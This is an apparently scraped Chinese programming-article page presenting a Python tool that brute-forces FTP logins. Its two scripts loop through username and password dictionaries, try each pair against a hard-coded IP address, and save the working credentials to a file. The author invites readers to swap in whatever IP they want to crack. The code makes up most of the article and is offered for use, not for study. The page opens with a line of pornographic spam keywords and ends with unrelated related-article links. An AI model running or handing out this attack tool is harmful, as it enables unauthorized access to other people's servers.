亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

python編寫暴力破解FTP密碼小工具

 更新時(shí)間:2014年11月19日 09:29:59   投稿:hebedich  
本文給大家分享了一段自己用python編寫的暴力破解FTP密碼的小工具的代碼,原理很簡單,就是利用多線程調(diào)用相應(yīng)的字典進(jìn)行窮舉測試,小伙伴們可以自由修改。

python具體強(qiáng)大的庫文件,很多功能都有相應(yīng)的庫文件,所以很有必要進(jìn)行學(xué)習(xí)一下,其中有一個(gè)ftp相應(yīng)的庫文件ftplib,我們只需要其中的登錄功能,然后利用多線程調(diào)用相應(yīng)字典里面的字段進(jìn)行登錄,還能根據(jù)自己的需要,根據(jù)自身的情況編寫需要的程序,讓程序代替我們?nèi)プ鲆恍┛菰锏闹貜?fù)工作。

下面直接上代碼,下面是主文件

復(fù)制代碼 代碼如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相應(yīng)的ftp.py文件里面的代碼如下

復(fù)制代碼 代碼如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘a(chǎn)a.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”

由于插不近格式,里面的縮進(jìn)的什么的得自己手動(dòng)再調(diào)節(jié)一下

需要兩個(gè)文件,分別是user.txt和passwd.txt,這兩個(gè)分別是用戶名和賬戶的字典。

代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最后正確的帳號(hào)和密碼會(huì)輸入到aa.txt文件中。

相關(guān)文章

  • Python設(shè)計(jì)模式行為型責(zé)任鏈模式

    Python設(shè)計(jì)模式行為型責(zé)任鏈模式

    這篇文章主要介紹了Python設(shè)計(jì)模式行為型責(zé)任鏈模式,責(zé)任鏈模式將能處理請(qǐng)求的對(duì)象連成一條鏈,并沿著這條鏈傳遞該請(qǐng)求,直到有一個(gè)對(duì)象處理請(qǐng)求為止,避免請(qǐng)求的發(fā)送者和接收者之間的耦合關(guān)系,下圍繞改內(nèi)容介紹具有一點(diǎn)的參考價(jià)值,需要的朋友可以參考下
    2022-02-02
  • numpy中生成隨機(jī)數(shù)的幾種常用函數(shù)(小結(jié))

    numpy中生成隨機(jī)數(shù)的幾種常用函數(shù)(小結(jié))

    這篇文章主要介紹了numpy中生成隨機(jī)數(shù)的幾種常用函數(shù),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-08-08
  • Python實(shí)用技巧之輕松處理大型文件

    Python實(shí)用技巧之輕松處理大型文件

    Python在文件處理方面提供了非常強(qiáng)大的支持,然而,當(dāng)處理大型文件時(shí),標(biāo)準(zhǔn)的文件處理技術(shù)會(huì)導(dǎo)致高內(nèi)存使用,所以下面我們就來看看如何在Python中有效地處理大型文件吧
    2024-03-03
  • 基于梯度爆炸的解決方法:clip gradient

    基于梯度爆炸的解決方法:clip gradient

    今天小編就為大家分享一篇基于梯度爆炸的解決方法:clip gradient,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-02-02
  • Python中的JSON?Pickle?Shelve模塊特性與區(qū)別實(shí)例探究

    Python中的JSON?Pickle?Shelve模塊特性與區(qū)別實(shí)例探究

    在Python中,處理數(shù)據(jù)序列化和持久化是極其重要的,JSON、Pickle和Shelve是三種常用的模塊,它們提供了不同的方法來處理數(shù)據(jù)的序列化和持久化,本文將深入研究這三個(gè)模塊,探討它們的特性、用法以及各自的優(yōu)缺點(diǎn)
    2024-01-01
  • 解決Jupyter因卸載重裝導(dǎo)致的問題修復(fù)

    解決Jupyter因卸載重裝導(dǎo)致的問題修復(fù)

    這篇文章主要介紹了解決Jupyter因卸載重裝導(dǎo)致的問題修復(fù),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-04-04
  • 使用Keras加載含有自定義層或函數(shù)的模型操作

    使用Keras加載含有自定義層或函數(shù)的模型操作

    這篇文章主要介紹了使用Keras加載含有自定義層或函數(shù)的模型操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-06-06
  • Python中弱引用的神奇用法與原理詳解

    Python中弱引用的神奇用法與原理詳解

    弱引用在很多語言中都存在,最常用來解決循環(huán)引用問題,下面這篇文章主要給大家介紹了關(guān)于Python中弱引用的神奇用法與原理的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2022-04-04
  • Python實(shí)現(xiàn)方便使用的級(jí)聯(lián)進(jìn)度信息實(shí)例

    Python實(shí)現(xiàn)方便使用的級(jí)聯(lián)進(jìn)度信息實(shí)例

    這篇文章主要介紹了Python實(shí)現(xiàn)方便使用的級(jí)聯(lián)進(jìn)度信息,實(shí)例分析了Python顯示級(jí)聯(lián)進(jìn)度信息的相關(guān)技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下
    2015-05-05
  • Python函數(shù)式編程之返回函數(shù)實(shí)例詳解

    Python函數(shù)式編程之返回函數(shù)實(shí)例詳解

    函數(shù)式編程的一個(gè)特點(diǎn)就是,允許把函數(shù)本身作為參數(shù)傳入另一個(gè)函數(shù),還允許返回一個(gè)函數(shù),下面這篇文章主要給大家介紹了關(guān)于Python函數(shù)式編程之返回函數(shù)的相關(guān)資料,需要的朋友可以參考下
    2022-09-09

最新評(píng)論